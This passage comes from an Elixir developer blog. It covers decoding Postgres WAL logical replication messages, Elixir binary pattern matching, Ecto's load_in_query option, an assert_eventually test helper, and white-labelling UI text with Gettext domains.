However, if we wanted to be absolutely sure that we never lose a message, we could track which messages we wrote to a buffer (first LSN), which messages we flushed from the buffer to disk or other persistence method (second LSN) and which messages we applied to our database or other state (third LSN). Postgres will consider a message acknowledged only after we mark it as "applied". We usually don't need this level of detail but it's good to know about.

We respond with the simplified Standby Status Update message, but we could also have sent a Hot Standby Feedback Message. The difference between Standby and Hot Standby is that Hot Standbys run queries against their state and these queries might touch records that have been deleted on the primary but are still needed on the Hot Standby. For example, imagine that your listener receives the INSERT message for a record, adds it to its state, and then runs a query against that state. Now, if Postgres sends us a DELETE message for that record before our query completes, the listener cannot apply that message until the query completes. Otherwise, it would "pull the rug" from underneath the query so to speak.

So, the listener buffers the message and waits for the query to complete. While it is waiting, it would reply to Postgres with a Hot Standby Feedback Message that tells Postgres "Hey, hang on a sec. I first gotta finish this work before I can acknowledge all the new messages you've sent me". Postgres would then keep the WAL records that it has sent until the listener sends a regular Standby Status Update which acknowledges the old WAL records. Again, you probably won't ever need to send a Hot Standby Feedback Message, but it's good to know about.

Decoding Messages

Now that we can receive and respond to keep-alive messages, let's see how our listener can receive and decode the logical WAL records received as XLogData messages.

First, we need to create a second handle_data/2 function which matches against the XLogData format:

# XLogData
# https://www.postgresql.org/docs/current/protocol-replication.html#PROTOCOL-REPLICATION-STANDBY-STATUS-UPDATE
def handle_data(<<?w, raw_lsn::64, _latest_lsn::64, _server_time::64, payload::bytes>>, state) do
  payload = Wal.Decoder.parse(payload)
  lsn = Wal.Decoder.to_lsn(raw_lsn)

  message = %{
    lsn: lsn,
    type: payload.type,
    payload: payload
  }

  Logger.debug(message)

  state = handle_message(message, state)

  {:noreply, state}
end

# Will be implemented later
defp handle_message(_message, state), do: state

XLogData messages start with a w as identifier followed by the LSN of the WAL record, the latest WAL record in the replication slot, the server timestamp, and the message payload in bytes. For our use-case, we're only interested in the payload, but we could use the latest LSN to see how far our listener runs behind and we could use the timestamp to calculate the latency with the server.

But for now, let's focus on decoding the message payload. I will show you how to decode a few messages yourself, but for a complete decoder of all possible messages, have a look at Supabase's Realtime decoder or the PgoutputDecoder project.

Now, here's how to decode the BEGIN, INSERT, and COMMIT messages:

defmodule Wal.Decoder do
  # Begin
  # https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-BEGIN
  def parse(<<?B, lsn_end::64, _timestamp::64, tx_id::32>>) do
    %{type: :begin, lsn_end: to_lsn(lsn_end), tx_id: tx_id}
  end

  # Insert
  # Without transaction_id because we are not streaming transactions
  # https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-INSERT
  def parse(<<?I, relation_id::32, ?N, tuple_data::bytes>>) do
    %{type: :insert, relation_id: relation_id, data: parse_tuple_data(tuple_data)}
  end

  # Commit
  # https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-COMMIT
  def parse(<<?C, _flags::8, lsn::64, lsn_end::64, _timestamp::64>>) do
    %{type: :commit, commit_lsn: to_lsn(lsn), tx_end_lsn: to_lsn(lsn_end)}
  end

  # Relation
  # https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-RELATION
  def parse(<<?R, relation_id::32, rest::bytes>>) do
    # Parses a Relation message
  end

  defp parse_tuple_data(data) do
    # Parses a TupleData struct
  end

  def to_lsn(lsn_int) do
    # Converts an integer LSN to the hex format "XXX/XXX"
  end
end

As you can see, every message starts with an identifiying character and otherwise follows the specs in the docs. I only stubbed the parse_tuple_data/1 and to_lsn/1 functions and the Relation parser, since this post is already long enough. Please see my partial Decoder on GitHub for more details on the actual implementation.

Alright, now our listener can receive and decode WAL messages. Let's take it for a spin and see what events we receive for a typical insert transaction.

Receiving Messages

First, we need to start the listener in our Application just after we start the Repo connection:

defmodule Wal.Application do
  use Application

  @impl true
  def start(_type, _args) do
    children = [
      WalWeb.Telemetry,
      Wal.Repo,
      Wal.Replication,
      # Others
    ]
  end
end

Let's start the application with iex -S mix phx.server and create a test record. I will create a test Meeting record which has a title and a from and until timestamp.

iex> Wal.Meetings.create_meeting(%{
  title: "Test Meeting",
  from: ~U[2025-01-01 10:00:00Z],
  until: ~U[2025-01-01 11:00:00Z]
})
{:ok, meeting}

These are the WAL messages our listener has received:

[type: :begin, payload: %{
    type: :begin,
    lsn_end: "4/5A7D7E10",
    tx_id: 385169
}, lsn: "4/5A7D6730", latest_lsn: "4/5A7D6730"]

[type: :relation, payload: %{
    type: :relation, columns: [
        %{name: "id", flag: 1, data_type_oid: 20, type_modifier: 4294967295},
        %{name: "title", flag: 0, data_type_oid: 1043, type_modifier: 259},
        %{name: "from", flag: 0, data_type_oid: 1114, type_modifier: 0},
        %{name: "until", flag: 0, data_type_oid: 1114, type_modifier: 0},
        %{name: "inserted_at", flag: 0, data_type_oid: 1114, type_modifier: 0},
        %{name: "updated_at", flag: 0, data_type_oid: 1114, type_modifier: 0}
    ],
    relation_id: 26378,
    namespace: "public",
    relation_name: "meetings",
    replica_identity_setting: :default
}, lsn: "0/0", latest_lsn: "0/0"]

[type: :insert, payload: %{
    data: [
        %{type: :text, value: "55", length: 2},
        %{type: :text, value: "Test Meeting", length: 12},
        %{type: :text, value: "2025-01-01 10:00:00", length: 19},
        %{type: :text, value: "2025-01-01 11:00:00", length: 19},
        %{type: :text, value: "2025-11-03 14:18:03", length: 19},
        %{type: :text, value: "2025-11-03 14:18:03", length: 19}
    ],
    type: :insert, relation_id: 26378
}, lsn: "4/5A7D6730", latest_lsn: "4/5A7D6730"]

[type: :commit, payload: %{
    type: :commit,
    commit_lsn: "4/5A7D7E10",
    tx_end_lsn: "4/5A7D7E40"
}, lsn: "4/5A7D7E40", latest_lsn: "4/5A7D7E40"]

Let's discuss them in detail, starting at the top.

The BEGIN

[type: :begin, payload: %{
    type: :begin,
    lsn_end: "4/5A7D7E10",
    tx_id: 385169
}, lsn: "4/5A7D6730", latest_lsn: "4/5A7D6730"]

The BEGIN message starts the transaction, but if you compare the lsn_end and commit_lsn fields in the BEGIN and COMMIT message, you'll see that it already contains the LSN of the COMMIT message!

So, how does the BEGIN message know when the transaction will commit?

The reason for this is Postgres' ReorderBuffer which buffers WAL records before forwarding them to pgoutput.

The ReorderBuffer doesn't send the WAL records as they come in, but it first buffers and reorders them - hence the name - and only sends them to pgoutput when the transaction commits. If a transaction is rolled back, it won't forward the messages (see 49.6.4) and we'll never receive them either. The ReorderBuffer forwards messages in sequence one transaction at a time, not in parallel. When pgoutput receives these messages, it prepends a BEGIN message to indicate the beginning of a transaction, and sends them our way.

All of this means you don't have to worry about receiving messages out-of-order or interleaved with messages from other transactions (at least not if you use proto_version '1'), or handling rolled back vs committed transactions. Our listener will always receive ordered messages for one committed transaction at a time. Thank you Postgres!

The RELATION

[type: :relation, payload: %{
    type: :relation, columns: [
        %{name: "id", flag: 1, data_type_oid: 20, type_modifier: 4294967295},
        %{name: "title", flag: 0, data_type_oid: 1043, type_modifier: 259},
        %{name: "from", flag: 0, data_type_oid: 1114, type_modifier: 0},
        %{name: "until", flag: 0, data_type_oid: 1114, type_modifier: 0},
        %{name: "inserted_at", flag: 0, data_type_oid: 1114, type_modifier: 0},
        %{name: "updated_at", flag: 0, data_type_oid: 1114, type_modifier: 0}
    ],
    relation_id: 26378,
    namespace: "public",
    relation_name: "meetings",
    replica_identity_setting: :default
}, lsn: "0/0", latest_lsn: "0/0"]

pgoutput is so kind to send us the schema of the table before sending us the changes that were applied to it. It only sends it once per session but whenever we restart our connection, it will send it again.

The Relation message contains basic information of our table columns like their name, whether they are part of the primary key (flag: 1), which data type they use (data_type_oid), and whether their data type is modified (type_modifier which is equal to atttypmod), for example if a varchar column has a maximum length modifier.

It also contains the namespace and table name which is handy to connect the relation to an Ecto Schema. It also contains the relation_id, which is the table Object Identifier (OID). This OID is useful to connect a table with the INSERT message we will look at next.

The INSERT

[type: :insert, payload: %{
    data: [
        %{type: :text, value: "55", length: 2},
        %{type: :text, value: "Test Meeting", length: 12},
        %{type: :text, value: "2025-01-01 10:00:00", length: 19},
        %{type: :text, value: "2025-01-01 11:00:00", length: 19},
        %{type: :text, value: "2025-11-03 14:18:03", length: 19},
        %{type: :text, value: "2025-11-03 14:18:03", length: 19}
    ],
    type: :insert, relation_id: 26378
}, lsn: "4/5A7D6730", latest_lsn: "4/5A7D6730"]

The Insert message is pretty straightforward. It contains the inserted data per column. It points to the table into which the data was inserted through the relation_id field, which is the same OID of the relation that we received before.

If you match the data rows with the relation column rows, you'll see that the first value was inserted into the ID field, the second value into the title field, and so on. Postgres splits the relation data from the change data to minimize bandwidth. We really don't need to receive the same table specs with every single event.

The COMMIT

[type: :commit, payload: %{
    type: :commit,
    commit_lsn: "4/5A7D7E10",
    tx_end_lsn: "4/5A7D7E40"
}, lsn: "4/5A7D7E40", latest_lsn: "4/5A7D7E40"]

Lastly, the COMMIT indicates the end of a transaction. Its commit_lsn points to the BEGIN message that started the transaction and its tx_end_lsn points to itself. At this point, we know the transaction is complete and can process the messages we've received if we haven't done so already.

What to do with the data tho?

It's up to you! You can buffer the messages until you receive the final COMMIT, zip the data columns with the relation column definitions, and ... print them out? I guess? At least that's what I've done here. What you do with the data depends on your use-case. Be creative!

Crash Recovery

We're almost at the end of this post, but one topic is important enough to delay that sweet sweet relief of closing the tab, feeling like you've learned something, and then to forget everything you've just read. Just, bear with me.

One major consideration when tracking changes through the WAL is how to never miss a message, even if your listener crashes. Luckily, Postgres has got our back! As mentioned in the keep-alive message handler, Postgres will keep the WAL records until we acknowledge them either as response to the keep-alive message, after we receive each message, or once we've received the final COMMIT message. Postgres calls these acknowledgments "checkpoints" by the way.

In any case, if your listener crashes before it can acknowledge the messages, Postgres will just send them again the next time our listener connects! At least if you use a persistent replication slot. You can test this by starting your application, creating a record, waiting for the WAL messages to come in, and then quickly stopping your application before the next keep-alive message comes in. If you now start your application again, your listener will receive the same messages once more!

This message recovery is great, but it also means that you must handle duplicate messages gracefully. So, however you process the messages, it must be idempotent.

And that's it! Enough about the WAL!

Further Considerations

Ha! I tricked you! Kind of.

Although this blog post was incredibly long, there's always more to learn about Postgres. Here are some pointers:

Try out Walex or Cainophile which use the WAL for Change Data Capture (CDC) in Elixir.
Peruse the Supabase Realtime for inspiration.
Look into creating a Snapshot when creating the Replication Slot which saves the current state of the database when you create your replication slot.
Call me a liar or how much this post inspired you over on Bluesky. Your choice.

Conclusion

Binary Pattern Matching in Elixir

2025-10-11T06:00:00Z

Welcome back! First, a joke:

Don’t trust atoms

They make up everything

Now, onto today's topic: Binary Pattern Matching in Elixir

The Gist

Pattern matching in Elixir is a superpower you probably know about, but chances are that you haven't encountered its little brother, binary pattern matching yet. Let's fix that.

In essence, Elixir makes it incredibly easy to deconstruct binaries into their more meaningful parts.

To give you an example: Imagine you're using Nerves to read temperature and humidity from a sensor. The sensor spec shows how to interpret the bits:

| bit7 | bit6 | bit5 | bit4 | bit3 | bit2 | bit1 | bit0 |
| ---  | ---- | ---- | ---- | ---- | ---- | ---- | ---- |
|            temp           |   0  |      humidity      |

Now, before the Nerves-folks crucify me for creating such a nonsensical memory map, let me clarify that I completely made up this table to exactly fit my story-telling needs. So, hush Frank, Gus, and Lars!

With the spec above in hand, you set out to decode the 1s and 0s you receive from the sensor. The pattern match would look like this:

iex> <<temperature::4, _::1, humidity::3>> = <<0b11110111>>
<<247>>
iex> temperature
15
iex> humidity
7

And that's how easy it is to decode binaries using pattern matching!

Look at how similar the spec and pattern match look like! That's one of the big advantages of using Elixir for these problems. It's super readable.

Let's break down the pattern match into its individual components.

Bitstrings

First, the <<>> syntax defines a bitstring.

A bitstring is a contiguous sequence of bits in memory.

However, when you write <<1>>, Elixir doesn't create a bitstring with only a single bit but it stores the number as one byte (8 bits) by default.

iex> <<0b00000001>> == <<1>>
true
iex> <<0b10000000>> == <<128>>
true

That means you have to watch out which values you store in the bitstring since values that are larger than a single byte will get truncated.

iex> <<1>> == <<257>>
true

The integer 257 in binary is 0b100000001, but those are 9 bits. Elixir bitstrings reserve only 8 bits per value by default. Thus, the left-most bit is ignored and only 0b00000001 is stored which is equal to 1.

To store larger values, you have to specify the bit count with value::size(n) or value::n for short:

iex> <<257::9>>
<<128, 1::size(1)>>
iex> <<value::9>> = <<257::9>>
<<128, 1::size(1)>>
iex> value
257

The ::n notation instructs Elixir to reserve n bits to store the value. This isn't how Elixir displays the bitstring though and that might be confusing.

Storing vs Displaying Bitstrings

Elixir fills the reserved bits from the right to store a value, but splits them into bytes from the left when displaying them.

iex> <<257::10>>
<<64, 1::size(2)>>
iex> <<257::11>>
<<32, 1::size(3)>>
iex> <<257::12>>
<<16, 1::size(4)>>

The first part (64, 32, 16) gets smaller as we reserve more bits because of how Elixir stores versus displays bits. When we reserve 10 bits for 257, Elixir first creates a bitstring of 10 zeros:

# Space added for clarification
00000000 00

Then, Elixir stores the value 257 by filling the bitstring from the right:

Before: 00000000 00
After:  01000000 01

But when it displays the bitstring, Elixir splits the bits into bytes from the left:

# With size: 10
01000000 01
    |    |
<<  64,  1::2 >>

# With size: 11
00100000 001
    |    |
<<  32,  1::3 >>

# With size: 12
00010000 0001
    |    |
<<  16,  1::4 >>

The difference of displaying vs storing a bitstring might be confusing, but in practice the bitstring remains one continuous sequence of bits:

iex> <<0b0100000001::10>> == <<257::10>>
true

Until now, we only looked at how Elixir stores integers in a bitstring, but it supports many more types, so let's talk about them next.

Types

When constructing or decoding a bitstring, Elixir works with "segments". For example, to deconstruct a bitstring into one integer, one float, and two bytes, Elixir matches the first bits against an integer, then a float, then two bytes. If any segment fails to match, it raises a MatchError.

Segments can have one of 9 types:

integer - default type if no type is specified
float - must be 16, 32, or 64 (default) bits
bitstring - can be nested within another bitstring!
bits - alias for bitstring
binary - always 8 bits or 1 byte
bytes - alias for binary
utf8 - default encoding of strings
utf16
utf32

Let's see how to use these types in a binary pattern match.

Integer

If no type is specified, Elixir expects an integer segment. Integers are 8 bits by default but the size can be adjusted.

iex> <<1::integer, 2>> == <<1, 2>>
true
iex> <<value::integer-10>> = <<130::10>>
<<32, 2::size(2)>>
iex> value
130
iex> <<0b10000000::8>> == <<128>>
true
iex> <<0b0010000000::10>> == <<128::10>>
true

Floats

Floats are 64 bits by default, but can be smaller if specified:

iex> <<value::float>> = <<12.5>>
# 8 Integers * 8 bits = 64 bits
<<64, 41, 0, 0, 0, 0, 0, 0>>
# 0 10000000010 1001000...000
# | |           |
# Sign (1 bit. 0 for positive, 1 for negative)
#   |           |
#   Exponent (11 bits with 1023 bias for float64)
#               |
#               Significand (52 bits)
#
# significand = 1*2^-1 + 0*2^-2 + 0*2^-3 + 1*2^-4
#
# = (-1)^sign x (1 + significand) x 2^(exponent - bias)
# = (-1)^0 x (1 + 0.5625) x 2^(1026-1023) = 12.5
iex> value
12.5

You can specify the size of the float with the dash modifier and either the short-hand notation -n or the full notation size(n):

iex> <<value::float-32>> = <<12.5::float-size(32)>>
<<65, 72, 0, 0>>
iex> value
12.5

When working with custom-sized floats, you have to watch out for overflows when the number you want to store is too large for the chosen float size:

# 65_504 is the largest number a float16 can store
iex> <<65_504::float-16>> == <<65_504::float-16>>
true
iex> <<65_504::float-16>> == <<65_505::float-16>>
true

In the second example, we try to store a number larger than the float16 precision limit of 65,504, but Elixir just cuts off the extra and falls back to the limit of 65,504. So, unless you work with billions of floats in your application, better stick to the default float64 which is unlikely to lose precision.

Bitstrings

You can match nested bitstrings like this:

iex> <<1, value::bitstring>> = <<1, <<2, 3>> >>
<<1, 2, 3>>
iex> value
<<2, 3>>

Or you can use the alias bits:

iex> <<1, value::bits>> = <<1, <<2, 3>> >>
<<1, 2, 3>>
iex> value
<<2, 3>>

Binaries

Binaries are a special type of bitstring:

A binary is a bitstring where the number of bits is divisible by 8.

So, every binary is a bitstring, but not every bitstring is a binary. When matching a binary, be careful to assume that the underlying bitstring is divisible by 8 because you will receive a MatchError otherwise.

If you match a binary at the end of the bitstring, you don't need to specify its size:

iex> <<1, 2, text::binary>> = <<1, 2, "foo">>
<<1, 2, 102, 111, 111>>
iex> text
"foo"

But to match a binary anywhere else, you must specify its expected size:

iex> <<text::binary-size(3), 1, 2>> = <<"foo", 1, 2>>
<<102, 111, 111, 1, 2>>
iex> text
"foo"

Binaries convert strings to UTF8 by default, so you need to watch out with exact text matching.

iex> <<"foo">> == <<"Foo">>
false

Since binaries are just bytes, you can also use the alias bytes in the match:

iex> <<text::bytes-size(3), 1, 2>> = <<"foo", 1, 2>>
<<102, 111, 111, 1, 2>>
iex> text
"foo"

iex> <<1, 2, text::bytes>> = <<1, 2, "foo">>
<<1, 2, 102, 111, 111>>

Strings

Strings are binaries (sequences of bytes) and UTF8 encoded by default, meaning each character is one byte.

iex> <<c1::bytes-1, c2::bytes-1, c3::bytes-1>> = <<"bar">>
"bar"
iex> [c1, c2, c3]
["b", "a", "r"]

You can change the encoding to UTF16 or UTF32, which will use 2 or 4 bytes per character:

# With UTF16 encoding
iex> <<char::2-bytes, rest::4-bytes>> = <<"foo"::utf16>>
<<0, 102, 0, 111, 0, 111>>
iex> <<0, "f">> == char
true
iex> <<0, "o", 0, "o">> == rest
true

# And with UTF32 encoding:
iex> <<char::4-bytes, rest::8-bytes>> = <<"bar"::utf32>>
<<0, 0, 0, 98, 0, 0, 0, 97, 0, 0, 0, 114>>
iex> <<0, 0, 0, "b">> == char
true

Bitstrings vs Binaries vs Strings

The hierarchy of strings, binaries, and bitstrings is as follows:

All strings are binaries and all binaries are bitstrings, but not all bitstrings are binaries and not all binaries are strings.
Binaries are bitstrings whose bit count is divisible by 8.
Strings are binaries with UTF8/16/32 encoded characters with one character being either 1, 2, or 4 bytes.

Modifiers

Now, let's talk about something fun. Elixir gives you superpowers for decoding numbers exactly how you need them through match modifiers.

Modifiers tell Elixir which extra steps to take when it converts the raw bits into a number. You can tell it to decode signed or unsigned numbers and specify the little or big endianness of multiple bytes.

For example, here's how to decode a bitstring into a signed integer without having to do the conversion from unsigned to signed integer yourself:

iex> <<int::signed-integer>> = <<-100>>
<<156>>
iex> int
-100

iex> <<int::unsigned-integer>> = <<-100>>
<<156>>
iex> int
156

Elixir always displays the unsigned value (156), but the int variable contains the correct signed value (-100).

⚠️ Small detour ⚠️

In case you're interested, this is how you can calculate the signed integer value of a bitstring by hand:

Take the bitstring:
- +100 => 0b01100100
- -100 => 0b10011100
Check the left-most bit for the sign (positive/negative).
- 0 means positive, 1 means negative
If positive, simply convert to decimal:
- +100 => 0b01100100 => 100
If negative, invert all bits, convert to decimal, add 1, and apply negative sign:
- -100 => 0b10011100 => 0b01100011 => 99 + 1 => 100 => -100
- This is called the two's complement method.

⚠️ Detour end ⚠️

Endianness

In case you're not familiar with Endianness, it describes the position of the most significant byte in a sequence of bytes.

But what does this actually mean? Consider this very realistic example: Imagine your partner is at the supermarket and wants to tell you the price of the grapefruits. For completely normal and not at all made-up reasons, you two can only communicate via morse code. You receive the numbers: 4, 9, 9.

Now, you would assume intuitively that the price per grapefruit is 4.99, right?

But how can you be sure that your partner didn't send the digits in reverse order in which case the price would be 9.94?

Naturally and because you are completely normal people, you discussed beforehand which endianness your morse code communication would have. You agreed to use big endianness which means that you send the most-significant bit first. For the price of grapefruit, this means sending the 4, the largest digit, first. That's why you know for sure that your partner meant 4.99 and not 9.94.

You could also have used little endianness. Then your partner would send the least-significant bit first. So, the sequence would have been 9, 9, 4. To get the price, you would have to reverse the order since our decimal system puts the most-significant bit first, resulting in the correct price of 4.99.

Endianness is important when you convert multiple bytes into a single number. By default, Elixir assumes big endianness.

iex> <<big::big-integer-size(16)>> = <<1, 2>>
<<1, 2>>
iex> big
258

iex> <<little::little-integer-size(16)>> = <<1, 2>>
<<1, 2>>
iex> little
513

You won't see a difference if you convert only a single byte, since endianness applies only to multi-byte ordering not bit ordering.

iex> <<big::big-integer>> = <<1>>
<<1>>
iex> big
1

iex> <<little::little-integer>> = <<1>>
<<1>>
iex> little
1

Elixir also supports the native endianness modifier which uses big or little depending on your VM and host OS. I suggest you always use big or little explicitly unless absolutely necessary.

Modifier Order

One feature of modifiers is that their order doesn't matter. All these notations are the same:

<<x::little-signed-integer-size(16)>>
<<x::integer-signed-little-size(16)>>
<<x::size(16)-signed-integer-little>>
<<x::16-signed-integer-little>>

If you want to enforce a certain modifier order in your codebase, you can add this nifty Credo check which will check that the modifiers are always ordered like this:

<<x::[endian]-[sign]-[type]-[size]>>

Thank you Noah for recommending me this credo check 💜

Dynamic Match Size

The last feature of binary pattern matching I want to share with you is that you can have dynamically sized matches like this:

iex> <<count::integer, text::binary-size(count)>> = <<26, "Hello there General Kenobi">>
<<26, 72, 101, ... >>
iex> text
"Hello there General Kenobi"

Once you start decoding bitstrings in the real world, you will often encounter the case in which a preceding value defines the length of the value to follow. In our example, the count defines the length of the string to follow.

This works with all types, including raw bits:

iex> <<count::4, value::size(count)>> = <<0b01001001>>
"I"
iex> count
4
iex> value
9 # or 0b1001

You can also use regular variables to dynamically define match size:

iex> count = 4
4
iex> <<text::binary-size(count)>> = <<"helo">>
"helo"
iex> text
"helo"

This feature is extremely useful if you don't know the size of a segment up front but receive a "meta" or "header" segment which indicates the dynamic size of the segment to follow.

Configure IEx

Elixir displays bitstrings as UTF8 characters whenever possible, which is useful if you actually work with text, but can get in your way when you work with numbers.

Luckily, you can configure IEx to always print out the "raw" values like this:

iex> <<54, 77>>
"6M"
iex> IEx.configure(inspect: [base: :decimal, charlists: :as_lists, binaries: :as_binaries])
:ok
iex> <<54, 77>>
<<54, 77>>

I learned this trick from Geoffrey Lessel's great talk about working with bits at ElixirConf US 2025. Thank you Geoffrey 💜

Conclusion

And that's it! I hope you enjoyed this article! If you want to support me, you can buy my firewall for Phoenix Phx2Ban or my book or video courses (one and two). Follow me on Bluesky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋

Stop Loading Large Ecto Fields by Default

2025-10-03T06:00:00Z

Hey folks! Let's warm up with a joke:

It is forbidden to laugh out loud in Hawaii.

You have to keep it to a low ha.

A low ha. Aloha. Got it? Good! Let's begin.

The Problem

Let's say you want to store a map in an Ecto.Schema. You add a :map field which Ecto converts into an optimized jsonb column in Postgres. You trust the awesomeness of Postgres and start dumping data into it. Everything works fine.

Until your PM pings you.

Hey. Why is our website so slow now?

Weird.

Everything works fine locally, but your production website now takes seconds to load when it worked just fine yesterday. You scratch your head. Is it maybe the new :map field you added?

Spoiler: It is! 🎉

You realize that only pages that list many records are affected and pages that show a single record are not. Then it hits you: jsonb fields can hold up to ~268MB of data and json fields even up to 1GB! Whenever you list your records, Ecto fetches all this data from the database. Most times, you don't even need it!

So, how can you tell Ecto to not load it by default?

The Solution

Enter, the load_in_query option.

By default, Ecto loads all schema fields whenever it returns a record from a query. So, if you list e.g. the 20 latest records, Ecto will load all their fields - including very large jsonb fields - when you run Repo.all/1.

With load_in_query, you can tell Ecto to not load the field by default, but only if you select it explicitly. Here's how:

defmodule MyApp.MySchema do
  use Ecto.Schema

  schema "my_schemas" do
    field :very_large_map, :map, load_in_query: false

    # load_in_query can be set on any `field`. For example:
    field :very_large_list, {:array, :string}, load_in_query: false
    field :huge_text, :string, load_in_query: false
  end
end

Now, when you run Repo.one/1 or Repo.all/1 on this schema, the very_large_map field will be nil. Since Ecto doesn't have to load potentially gigabytes of data, your website should list records much faster again.

But what if you need the data in very_large_map? Easy, just select the field explicitly, like so:

def list_records(with_very_large_map \\ false) do
  MySchema
  |> maybe_load_map(with_very_large_map)
  |> Repo.all()
end

defp maybe_load_map(query, false), do: query

defp maybe_load_map(query, true) do
  select(query, [schema], %{schema | very_large_map: schema.very_large_map})
end

Now, if you set with_very_large_map: true, Ecto will load the field again.

Conclusion

Test async work in Elixir with assert_eventually

2025-02-05T06:00:00Z

Welcome to another blog post, folks! First another dad joke:

What do you call a medieval spy?

Sir Veillance

Alrighty, today's a quick one. How to assert that an async task succeeds eventually in your Elixir tests.

The Problem

Elixir makes writing asynchronous work easy, but testing it is still a bit tricky. Let's have a look at an example test:

test "async task updates my database record eventually" do
  file = insert(:file, status: :unprocessed)

  # This task processes a file and updates its db record asynchronously.
  MyProcessingTask.process_async(file)

  # Wait for the task to finish.
  Process.sleep(100)

  # Assert that the db record was updated.
  assert %{status: :processed} = Repo.reload!(file)
end

In this example test, we execute a task that runs asynchronously to our test process. It processes a file and updates its database record when the process finishes. The problem here is that we don't know when the process finishes and when to reload our file to check its status. We could probably monitor the task and write a callback that notifies us when the task shuts down, but we're lazy, so we simply sleep for 100ms and assume that the process has finished by then.

Using Process.sleep/1 to wait for an async task to finish is meeeh. If our task takes longer than 100ms, our test fails although the task might have succeeded eventually. Also, if the task only takes 10ms, our test will still wait 90ms more which might balloon the overall execution time of our test suite if we have many such tests.

Luckily, there's a better way: assert_eventually/1.

The Solution

This little helper function checks whether our assertion succeeds ... eventually. By default, it checks every 10ms if our condition succeeds until a threshold of 100ms is reached at which it raises an ExUnit.AssertionError.

# test/support/data_case.ex

@doc """
A test helper for asserting that a function will return
a truthy value eventually within a given time frame.
"""
def assert_eventually(fun, timeout \\ 100, interval \\ 10)

def assert_eventually(_fun, timeout, _interval) when timeout <= 0 do
  raise ExUnit.AssertionError, "Eventually assertion failed to receive a truthy result before timeout."
end

def assert_eventually(fun, timeout, interval) do
  result = fun.()
  ExUnit.Assertions.assert(result)
  result
rescue
  ExUnit.AssertionError ->
    Process.sleep(interval)
    assert_eventually(fun, timeout - interval, interval)
end

Using this helper, we can check every 10ms whether our async task has updated the file record already:

test "async task updates my database record eventually" do
  file = insert(:file, status: :unprocessed)

  # This task processes a file and updates its db record asynchronously.
  MyProcessingTask.process_async(file)

  assert_eventually(fn ->
    assert %{status: :processed} = Repo.reload!(file)
  end)
end

If the record isn't updated within 100ms, our test fails. If the record is updated earlier, our test succeeds. Nice!

Conclusion

Replace Generic UI Copy with Your User's Domain-Specific Terms Using Gettext Domains

2025-01-12T06:00:00Z

Welcome everyone to the new year! Let's start it the right way with a joke:

What do you call a fruit that magically shows up?


A pear

Now, let's dive into today's topic: How to white-label a software using Gettext domains.

The Problem

Imagine you develop a white-label HR software and you want to customise the way your software addresses the "user" depending on the company they work for. Most companies address their workers as "Employees", but some fancy tech start-ups like to call them "Googlers", "Metamates", "Tweeps", or "Amazonians". That's why your boss gives you the wonderful "opportunity" to replace all Employee, Employees, Employee's, employee, etc. occurrences with customised terms and to build a solution that will make it easier to onboard future clients.

Your first thought might be to build the quick-and-dirty solution of adding if-else statements everywhere. That closes the ticket quicker and impresses your manager, but it also makes it a pain in the butt to add new text, to maintain your templates, and generally just feels wrong. Since you're an experienced engineer, you know that quick-and-dirty solutions are often quick-and-thoughtless solutions, which get you only so far before your house of cards collapses. So, you halt and take a minute to think of a better solution.

The (better) Solution

After a few minutes of thinking, you realise that you're trying to reinvent Gettext, which replaces strings in your templates based on a user's locale. In your case, you need to replace the strings based on the user's employer. You skim the Gettext docs and realise that Gettext Domains is exactly what you want. You could define default strings like Employee and let Gettext replace them with a domain-specific "translation" based on the user's company.

Your first implementation is simple. All you need to do is to make the following change anywhere you wrote e.g. Employee:

# e.g. page.html.heex

- Welcome {gettext("Hello Employee")}
+ Welcome {dgettext(@domain, "Hello Employee")}

Next, you create a new PO file for each company at priv/gettext/en/LC_MESSAGES/*, for example meta.po, and add the following translation to it:

# priv/gettext/en/LC_MESSAGES/meta.po

msgid "Hello Employee"
msgstr "Hello Metamate"

Now, when you open your website as a Meta employee, you should be greeted with "Hello Metamate". It works! Hurray!

The (even better) Solution

While applying the change described above, you realise how tedious and error-prone it is to manually add all occurrences of Employee to your PO file. You think: There must be a better way! and you'd be right!

The big problem with the solution above is that Gettext won't automatically extract the domain-specific strings from your template and add them to your PO file, like it does with e.g. gettext/1 calls. The problem is that you call dgettext/2 with a dynamic domain at runtime and Gettext extracts the strings at compile-time. So, Gettext doesn't know for which domains it should extract the string. Thankfully, there's an easy solution for this problem.

The smart minds behind Gettext have thought about this situation and added the dgettext_noop/2 macro. This macro manually marks a string for extraction and instructs Gettext to extract it when you run mix gettext.extract.

Using the macro isn't as easy as calling dgettext/2 in your template, but it's not rocket science either. Have a look at the following macro, but don't be sad if you don't understand it, because I don't either (but it works!)

# demo_web/domains.ex

defmodule DemoWeb.Domains do
  require Gettext.Macros

  @domains ["default", "meta", "google"]

  defmacro dtext(domain, message) do
    noops =
      for d <- unquote(@domains) do
        quote do
          Gettext.Macros.dgettext_noop_with_backend(DemoWeb.Gettext, unquote(d), unquote(message))
        end
      end

    quote do
      unquote(noops)
      Gettext.dgettext(DemoWeb.Gettext, unquote(domain), unquote(message))
    end
  end
end

I wrote this macro based on a suggestion by Kip on Elixirforum and got it working with the kind help of Benjamin (LostKobrakai). In essence, it marks a message for extraction at compile-time for all defined domains and calls dgettext/3 at runtime, just as before. There's no impact on our rendering performance either, because the dgettext_noop_with_backend/3 functions are only called at compile-time and not at runtime. So, for our runtime, they don't even exist.

You can make the new dtext/2 function available to all templates by importing the DemoWeb.Domains module in your *Web context:

# demo_web.ex

defp html_helpers do
  quote do
    # Removed for brevity ...
    use Gettext, backend: DemoWeb.Gettext

    # 👇 Import the Domains module here
    import DemoWeb.Domains
  end
end

Next, instead of calling dgettext/2 in your templates directly, call dtext/2 instead:

# home.html.heex

<h1>{dtext(@domain, "Hello Employee")}</h1>
<h2>{gettext("Hello World")}</h2>

Now, run the following command and Gettext will extract all messages to your domain PO files!

mix gettext.extract --merge

You should now see the following content in your three PO files:


# priv/gettext/en/LC_MESSAGES/default.po
msgid "Hello Employee"
msgstr ""

msgid "Hello World"
msgstr ""

